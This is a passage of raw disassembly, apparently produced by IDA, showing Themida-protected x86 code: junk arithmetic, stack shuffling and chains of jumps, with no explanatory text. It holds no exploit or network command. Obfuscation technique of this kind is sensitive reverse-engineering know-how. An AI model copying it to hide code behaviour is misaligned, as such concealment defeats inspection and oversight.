		sub	eax, 165564F6h
		add	eax, esi
		add	eax, 165564F6h
		push	ebx
		jmp	loc_5963B0

; =============== S U B	R O U T	I N E =======================================



sub_594299	proc near		; CODE XREF: sub_590B23+4A51j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058FF17 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592B07 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00596CAD SIZE 0000000A BYTES

		sub	esp, 4
		push	esp
		pop	[esp-4+arg_0]
		push	edx
		mov	edx, esp
		jmp	loc_58FF17
sub_594299	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5942AB:				; CODE XREF: Themida_:005952F0j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_590764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5942B6:				; CODE XREF: sub_58F160+3121j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	esp
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		jmp	loc_58AB03
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5942E6:				; CODE XREF: sub_58E66C+1AB0j
		xchg	ebx, esi
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		xchg	ebx, esi
		push	eax
		mov	eax, 680F5997h
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		neg	ebx
		xchg	eax, ebx
		add	eax, 66206247h
		jmp	loc_590243
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_594309:				; CODE XREF: sub_5F45E7-67E71j
		mov	eax, esi
		jmp	loc_58AF5E
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_594310:				; CODE XREF: Themida_:0058E712j
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_592789
; ---------------------------------------------------------------------------


loc_594319:				; CODE XREF: Themida_:005965D1j
		push	ebx
		push	eax
		mov	eax, 43E15006h
		jmp	loc_5904D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594325:				; CODE XREF: sub_58E66C+D03j
		add	edi, 0FECE825Eh
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+0Ah+var_C+2]
		jmp	loc_596E4E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594336:				; CODE XREF: sub_596082-AA7Ej
		mov	ebx, [esp+4+var_4]
		jmp	loc_5936DB
; ---------------------------------------------------------------------------


loc_59433E:				; CODE XREF: sub_596082+1456j
		pop	dx
		add	bl, al
		push	2BE5h
		mov	[esp+6+var_8+2], edx
		mov	dh, 18h
		neg	dh
		not	dh
		shl	dh, 2
		push	ax
		mov	ah, 0C7h
		xor	dh, ah
		pop	ax
		push	edx
		mov	dl, 27h
		shl	dl, 1
		xchg	ah, dl
		jmp	loc_5943BE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_594367:				; CODE XREF: sub_591C99-4705j
		add	esp, 4
		not	edx
		jmp	loc_592C4E
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594374:				; CODE XREF: sub_58E66C+7B8Cj
		mov	ebx, 47D14309h
		xor	ebx, 5F526852h
		jmp	loc_58D13F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_594384:				; CODE XREF: Themida_:00590236j
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_592F57
; ---------------------------------------------------------------------------


loc_59438E:				; CODE XREF: Themida_:0058BA31j
		inc	ebp
		js	loc_593EFE
		neg	ebp
		js	loc_593235
		mov	bh, 41h


loc_5943A0:				; CODE XREF: Themida_:00595162j
		jnb	loc_593244
		not	esi
		jmp	loc_595C51
; ---------------------------------------------------------------------------
		not	eax
		inc	eax
		and	al, 0Bh
		push	esp


loc_5943B3:				; CODE XREF: Themida_:00593DE7j
		btr	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5943BE:				; CODE XREF: sub_596082-1D20j
		not	ah
		xchg	ah, dl
		shl	dl, 4
		add	dl, 71h
		jmp	loc_594C61
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5943CD:				; CODE XREF: Themida_:0058B77Aj
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 561C2BFAh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 8
		shr	ecx, 6
		push	edi
		mov	edi, 726C176Dh
		shl	edi, 5
		push	ebx
		mov	ebx, 7B8B1943h
		and	edi, ebx
		pop	ebx
		xor	edi, 66117A08h
		jmp	loc_591A48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_59440A:				; CODE XREF: sub_58F160+4B65j
		add	esi, edi
		pop	edi
		push	esi
		add	dword ptr [esp+0], 5F446880h
		pop	eax
		jmp	loc_58D003
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59441B:				; CODE XREF: sub_58E66C-C89j
		mov	edx, 34D96FF8h
		or	edx, 8331954h
		jnp	loc_593749
		sub	edx, 19310DC3h
		jz	loc_58CBAE
		and	edx, 166C430Ch
		jnz	loc_58B309
		add	edx, 2CD11A8Dh
		jmp	loc_58DD9E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		jmp	loc_58CC9D
; ---------------------------------------------------------------------------


loc_594454:				; CODE XREF: Themida_:0058E828j
		mov	[esp], edx
		mov	edx, 4
		add	dword ptr [esp+4], 0E720E20h
		add	[esp+4], edx
		jmp	loc_5930AC
; ---------------------------------------------------------------------------


loc_59446D:				; CODE XREF: Themida_:0058F011j
		add	edi, esi
		add	edi, 0EB7871h
		pop	esi
		jmp	loc_58D9C0

; =============== S U B	R O U T	I N E =======================================



sub_59447B	proc near		; CODE XREF: sub_58AE7C+5CAj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AA84 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D1D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590D3A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00591B63 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005952FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595D4B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597021 SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	esp
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ecx
		mov	ecx, 43202CB4h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58AA84
sub_59447B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5944A6:				; CODE XREF: sub_591C99-6F38j
		pop	esi
		xchg	eax, [esp-0Eh+arg_6]
		mov	esp, [esp-0Eh+arg_6]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5944B2:				; CODE XREF: sub_58E66C+6DC6j
		pop	ecx
		add	edi, esi
		push	[esp+8+var_8]
		pop	esi
		jmp	loc_58C197
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_5944BE:				; CODE XREF: sub_58D112-37Bj
		or	bh, 0Dh
		jmp	loc_590024
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_5944C6:				; CODE XREF: sub_596BF6-3F60j
		add	[esp+0], eax
		push	23FCh
		jmp	loc_591168
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5944D3:				; CODE XREF: sub_596082-A108j
		pop	edx
		pop	edi
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		mov	ecx, [esp+14h+var_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		add	[esp+14h+var_10], 11E3237h
		add	[esp+14h+var_10], 6B115526h
		sub	[esp+14h+var_10], esi
		jmp	loc_58DD6A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_59450A:				; CODE XREF: sub_596BC4-3020j
		mov	edx, 0EBDB0138h
		xor	eax, edx
		pop	edx
		xor	edi, eax
		pop	eax
		sub	edx, edi
		mov	edi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58C338
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_59452E:				; CODE XREF: Themida_:005976AEj
		add	eax, ecx
		pop	ecx
		jmp	loc_592D10
; ---------------------------------------------------------------------------


loc_594536:				; CODE XREF: Themida_:loc_593F3Ej
					; Themida_:005976F5j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		jmp	loc_591947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_594550:				; CODE XREF: sub_596BF6-B84Bj
		add	ebp, 4DF67C8Fh
		mov	edi, ebp
		pop	ebp
		jmp	loc_58C270
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_59455E:				; CODE XREF: Themida_:00592CB4j
		pop	esp
		push	edi
		mov	edi, 5033052Eh
		sub	edi, 2E9353DCh
		sub	edi, 48C72B99h
		xor	edi, 171B21E7h
		neg	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0CD91D37h
		jmp	loc_58E6F3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_58DF6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5945B9:				; CODE XREF: sub_596082-4AD9j
		add	esp, 4
		shr	ebx, 4
		push	ebx
		dec	[esp+8+var_8]
		xchg	ebx, [esp+8+var_8]
		not	ebx
		xchg	ebx, [esp+8+var_8]
		pop	ebx
		push	edx
		mov	edx, 5C14505h
		dec	edx
		or	edx, 2E2D22CAh
		or	edx, 2FB14825h
		not	edx
		or	edx, 9111FCh
		jmp	loc_58CC8C
; ---------------------------------------------------------------------------


loc_5945EC:				; CODE XREF: sub_596082-8375j
		xchg	esi, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], esi
		pop	edx
		jmp	loc_593D02
; ---------------------------------------------------------------------------


loc_5945F9:				; CODE XREF: sub_596082:loc_58AACDj
		jmp	loc_596275
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5945FE:				; CODE XREF: sub_591C99-7140j
		movzx	eax, al
		jmp	loc_590FA5
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594606:				; CODE XREF: sub_596082-188Cj
		xor	eax, 182C1AB6h
		jmp	loc_59378E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_594610:				; CODE XREF: sub_58A50F+FD7j
		mov	edx, 676C707Dh
		jmp	loc_5974FF
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59461A:				; CODE XREF: sub_596082:loc_58B4EBj
		push	edx
		mov	edx, 65EF4D02h
		jmp	loc_58E253
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594625:				; CODE XREF: Themida_:00594C25j
		inc	edi
		jmp	loc_5939BD
; ---------------------------------------------------------------------------


loc_59462B:				; CODE XREF: Themida_:0058EEFDj
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	esp
		jmp	loc_58F2F3
; ---------------------------------------------------------------------------


loc_594636:				; CODE XREF: Themida_:0059494Aj
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_594A8A
; ---------------------------------------------------------------------------


loc_594641:				; CODE XREF: Themida_:0058C3F2j
		push	esi
		mov	esi, 4C115191h
		xor	esi, 349E7D92h
		xor	esi, 288657ACh
		add	ecx, esi
		pop	esi
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_590199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594662:				; CODE XREF: sub_58D966-116j
					; sub_596082-11E4j
		pop	edx
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_58CCE5
; ---------------------------------------------------------------------------


loc_59468D:				; CODE XREF: Themida_:0058F04Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 3C6F15A0h
		dec	ebp
		neg	ebp
		jns	loc_58CF7B
		xor	ebp, 112A64C6h
		jmp	loc_58F9BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_5946B3:				; CODE XREF: sub_590324+15j
		mov	[esp+8+var_8], edi
		mov	edi, 68EC039Eh
		shl	edi, 4
		jmp	loc_58DA51
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5946C3:				; CODE XREF: sub_591C99-25FFj
		add	dh, 8Eh
		xor	dh, 97h
		jmp	loc_5918CE
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_5946CE:				; CODE XREF: Themida_:005917B5j
		add	eax, 4002502Ch
		add	ecx, eax
		pop	eax
		not	ecx
		sub	ecx, 0D109FB80h
		jmp	loc_591BF0
; ---------------------------------------------------------------------------


loc_5946E3:				; CODE XREF: Themida_:00595F99j
		mov	eax, [ebx]
		jmp	loc_590464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5946EA:				; CODE XREF: sub_58E66C-D12j
		add	esi, eax
		jmp	loc_5920F2
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5946F1:				; CODE XREF: sub_5F45E7-61125j
		push	dword ptr fs:[edx]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_5946F9:				; CODE XREF: sub_59425A-2787j
		pop	edx
		add	ecx, eax
		push	ebx
		mov	bh, dl
		mov	[ecx], bh
		pop	ebx
		mov	ecx, [esp+0]
		push	7D0Fh
		jmp	loc_595564
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------


loc_59470F:				; CODE XREF: Themida_:0058ACC0j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58EA0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_59472B:				; CODE XREF: sub_5F45E7-69730j
		mov	eax, 3965451Ch
		sub	eax, 3965451Ch
		jmp	loc_58B9AB
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59473A:				; CODE XREF: Themida_:0058FBF1j
		push	ecx
		mov	ecx, 13296Ah
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5907F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59474A:				; CODE XREF: sub_596082-578Bj
		sub	esi, 4B918D9h
		pop	ebp
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_58FDFF
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59475A:				; CODE XREF: Themida_:0058ABB2j
		neg	eax
		sub	eax, 5B56099Ch
		jmp	loc_58AB81
; ---------------------------------------------------------------------------


loc_594766:				; CODE XREF: Themida_:0058C2F9j
		xchg	edx, [esp]
		pop	esp
		push	192Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 0E222C79h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 0E222C79h
		jmp	loc_5971CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_594798:				; CODE XREF: sub_58E66C+7E5j
		mov	[esp+0], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 0D43340Fh
		not	ebp
		jmp	loc_592636
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5947AA:				; CODE XREF: Themida_:00591F90j
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58D4B2
; ---------------------------------------------------------------------------


loc_5947BE:				; CODE XREF: Themida_:00592369j
		dec	esi
		push	57EDh
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_594839
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5947CF:				; CODE XREF: sub_58E66C+7B35j
		add	esp, 4
		add	ebx, edi
		sub	ebx, 4EB608B4h
		jmp	loc_58DC34
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5947E2:				; CODE XREF: Themida_:00593128j
		pop	esp
		mov	[esp], eax
		mov	eax, [esp]
		jmp	loc_58BE83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5947EE:				; CODE XREF: sub_596082-43BAj
		mov	eax, 0C7A51FEh
		shr	eax, 7
		jmp	loc_594606
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5947FB:				; CODE XREF: sub_5F45E7-5D25Aj
		push	ecx
		mov	cl, 0A0h
		not	cl
		jmp	loc_59332F
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594805:				; CODE XREF: Themida_:0058E14Ej
					; sub_596082-2B62j
		mov	[esp+26h+var_26], edx
		push	bx
		mov	bl, 48h
		dec	bl
		and	bl, 73h
		shr	bl, 5
		js	loc_58E659
		jmp	loc_592121
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_59481F:				; CODE XREF: sub_596B50-9F39j
		pop	esp
		mov	[esp-4+arg_0], ebp
		mov	ebp, 18283697h
		jmp	loc_58E036
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_59482D:				; CODE XREF: Themida_:005962D6j
		mov	edx, 4
		add	ecx, edx
		jmp	loc_596B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_594839:				; CODE XREF: sub_591C99-126Fj
					; Themida_:005947CAj
		pop	esi
		push	eax
		mov	eax, 97EADB93h
		sub	esi, eax
		pop	eax
		jmp	loc_58AD5F
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_594848:				; CODE XREF: Themida_:00590CF4j
		push	552Fh
		mov	[esp], edi
		push	2
		pop	edi
		add	ebp, 3887495Dh
		add	ebp, edi
		sub	ebp, 3887495Dh
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_5903BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_594881:				; CODE XREF: sub_594EC6-4939j
		pop	edx
		jmp	sub_58E66C
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594887:				; CODE XREF: Themida_:0058CCA9j
					; sub_596082:loc_58E894j
		shl	eax, 7
		push	ecx
		mov	ecx, 27D66F6Fh
		sub	eax, ecx
		jmp	loc_59369B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_594897:				; CODE XREF: sub_596BF6-72FEj
		mov	ebx, esp
		push	esi
		mov	esi, 73DD0127h
		or	esi, 1F331F6Bh
		add	esi, 8000E095h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_592032
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_5948B9:				; CODE XREF: Themida_:0058C942j
		add	bh, 0C0h
		and	bh, 70h
		neg	bh
		xor	bh, 0E8h
		push	eax
		mov	al, 44h
		push	edx
		mov	dh, al
		jmp	loc_58B020
; ---------------------------------------------------------------------------


loc_5948CF:				; CODE XREF: Themida_:0058F153j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58D528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5948E7:				; CODE XREF: sub_593009-69A0j
		pop	edx
		pop	[esp-24h+arg_20]
		push	[esp-28h+arg_24]
		mov	ecx, [esp-24h+arg_20]
		add	esp, 4
		add	esp, 4
		jmp	loc_58FD4C
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0F58h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_5923DE
; ---------------------------------------------------------------------------


loc_594920:				; CODE XREF: Themida_:0058B12Cj
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 692F6868h
		neg	ecx
		jmp	loc_595C2D

; =============== S U B	R O U T	I N E =======================================



sub_594930	proc near		; CODE XREF: sub_58F160+652j
		push	ebx
		mov	ebx, 7E224C0Eh
		xor	ebp, ebx
		pop	ebx
		add	ebx, ebp
		jmp	loc_58D0D0
sub_594930	endp

; ---------------------------------------------------------------------------


loc_594940:				; CODE XREF: Themida_:0058BCD8j
		inc	ecx
		sub	ecx, 7B0D757Ch
		add	esi, ecx
		pop	ecx
		jmp	loc_594636
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1DDCh
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_591EFA
; ---------------------------------------------------------------------------


loc_594962:				; CODE XREF: Themida_:0058D740j
		push	ecx
		mov	ecx, esp
		jmp	loc_5937B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59496A:				; CODE XREF: sub_58E66C+3CA7j
		push	ecx
		mov	ecx, 0DFD2E6Fh
		jmp	loc_58E2AD
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_594975:				; CODE XREF: sub_593009-7DE0j
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58F202
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_59497F:				; CODE XREF: Themida_:00593958j
		mov	[esp], edx
		push	1A7h
		mov	[esp], eax
		xor	dword ptr [esp], 3CE54695h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_592C9B
; ---------------------------------------------------------------------------


loc_5949A1:				; CODE XREF: Themida_:00593133j
		mov	eax, 2FA501F1h
		shl	eax, 1
		xor	eax, 5AD86C52h
		xor	eax, 0B3F2F6D8h
		xor	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_58B126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_5949CC:				; CODE XREF: sub_58E049+20A6j
		and	eax, esi
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+0Ch+var_8]
		pop	edx
		pop	[esp+0Ch+var_C]
		pop	esp
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		push	eax
		jmp	loc_58A6CE
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------


loc_594A00:				; CODE XREF: Themida_:00592F15j
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebp, 2AF92702h
		add	ebp, ecx
		sub	ebp, 2AF92702h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_58BA57
; ---------------------------------------------------------------------------


loc_594A50:				; CODE XREF: Themida_:0058A66Ej
		add	dword ptr [esp+4], 7EE49E8h
		add	[esp+4], ecx
		push	edi
		mov	edi, 7EE49E8h
		sub	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7767202Bh
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_58E8FD

; =============== S U B	R O U T	I N E =======================================



sub_594A7F	proc near		; CODE XREF: sub_594D75-6B7Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AFC6 SIZE 00000010 BYTES

		sub	esp, 4
		jmp	loc_58AFC6
sub_594A7F	endp

; ---------------------------------------------------------------------------


loc_594A8A:				; CODE XREF: Themida_:0059463Cj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_590CE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_594A98:				; CODE XREF: Themida_:0059513Cj
					; sub_594F3F:loc_595FEEj
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, esp
		jmp	loc_59685E
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594AAD:				; CODE XREF: sub_596082-58A3j
		mov	edi, 0A981F8Bh
		xor	edi, 17D5659Ch
		jmp	loc_58F0D6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_594ABD:				; CODE XREF: sub_58F6F4+11j
		not	cl
		xchg	cl, bh
		xor	bh, 7Ch
		mov	al, bh
		pop	ebx
		not	al
		inc	al
		neg	al
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58D8BA
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_594AD8:				; CODE XREF: sub_590B23+69EBj
		mov	edx, 69625197h
		add	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	ebx, ebp
		sub	ebx, 69625197h
		pop	ebp
		jmp	loc_58FA94
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594AF3:				; CODE XREF: sub_596082-47D5j
		push	eax
		mov	eax, 390E663Dh
		add	eax, 7E941A31h
		dec	eax
		sub	eax, 0B7A2806Ch
		sub	edx, eax
		pop	eax
		sub	edx, 0C8C80129h
		sub	eax, edx
		pop	edx
		pop	ecx
		xor	ebx, eax
		push	ebx
